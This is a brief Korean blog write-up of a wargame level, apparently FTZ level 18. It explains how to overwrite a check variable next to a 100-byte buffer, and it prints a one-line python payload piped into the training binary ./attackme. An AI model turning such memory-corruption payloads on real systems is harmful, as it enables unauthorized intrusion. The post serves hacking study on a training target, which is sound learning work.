문제 보자마자 솔직히 넘 놀랐다. 코드가 너무 길어서 어려워보였다.. 게다가 군데군데 처음보는 함수들도 존재해서 겁먹었는데 분석해보면 완전 쉽다.
일단 gdb로 보면
check 값이 ebp-104에 존재하는데 string[100] 배열은 check 4byte 바로 위에 존재한다.
그러면 이 check 값을 변조시키려면 0x8을 4번 넣으면 된다. 그 다음에 0xdeadbeef 값을 입력하면 간단하게 공격이 성공한다.
(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat) | ./attackme
'Pwnable > ▷ Study' 카테고리의 다른 글
ftz level20 (0) | 2018.02.18 |
---|---|
ftz level19 (0) | 2018.02.18 |
ftz level17 (1) | 2018.02.17 |
ftz level16 (0) | 2018.02.17 |
ftz level15 (0) | 2018.02.17 |